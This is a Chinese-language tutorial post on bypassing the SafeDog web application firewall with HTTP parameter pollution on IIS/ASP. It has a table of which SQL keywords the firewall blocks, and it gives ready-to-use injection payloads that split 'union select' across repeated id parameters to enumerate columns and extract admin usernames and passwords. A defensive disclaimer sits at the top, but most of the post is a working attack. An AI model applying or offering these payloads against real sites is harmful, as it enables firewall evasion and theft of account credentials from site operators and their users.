[TOC]

注意：本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

0x00 介绍前言

收集之中

WAF绕过方法:

  • HPP(参数污染)方式

判断注入:
xor 可直接过大部分的防护(包括安全狗)
order by 大部分WAF默认拦截(包括安全狗)
union 不拦截
select 不拦截
union selec 不拦截
union select 拦截
注:以上是在GET方式下的结果

POST下:
and 不拦截
union select 不拦截
底线为↓
union select 1,2 from 这里开始被拦截
实际上真正要绕过的是from是否被匹配

安全狗WAF

ByPass之HPP应用

描述:

一个有趣的注入点(可以使用其绕过SafeDog)

1
2
3
4
5
#正常访问
http://192.168.1.170/Production/PRODUCT_DETAIL.asp?id=1137

#HPP参数污染#且参数一为113 参数二为7 
http://192.168.1.170/Production/PRODUCT_DETAIL.asp?id=113&id=7 #回显的结果为id=113, 7

WeiyiGeek.

WeiyiGeek.

结论:由HPP原理思路可知IIS/ASP解析同名参数同时传递的时候会将其进行采用”,”拼接分割;

我们继续深入学习:

1
2
3
#我们构造下面的PoC由于&id=x相当于 ,x 所以参数值的数字都会变成,数字(用post测试)
id=1137 union select 1&id=2&id=3&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&id=12&id=13&id=14&id=15&id=16&id=17&id=18&id=19&id=20&id=21&id=22%20from%20admin
#利用union爆出显位字段 3 , 15

继续注入查账号密码
1
id=1137%20union%20select%201&id=2&id=admin&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&id=12&id=13&id=14&id=password&id=16&id=17&id=18&id=19&id=20&id=21&id=22%20from%20admin

WeiyiGeek.

WeiyiGeek.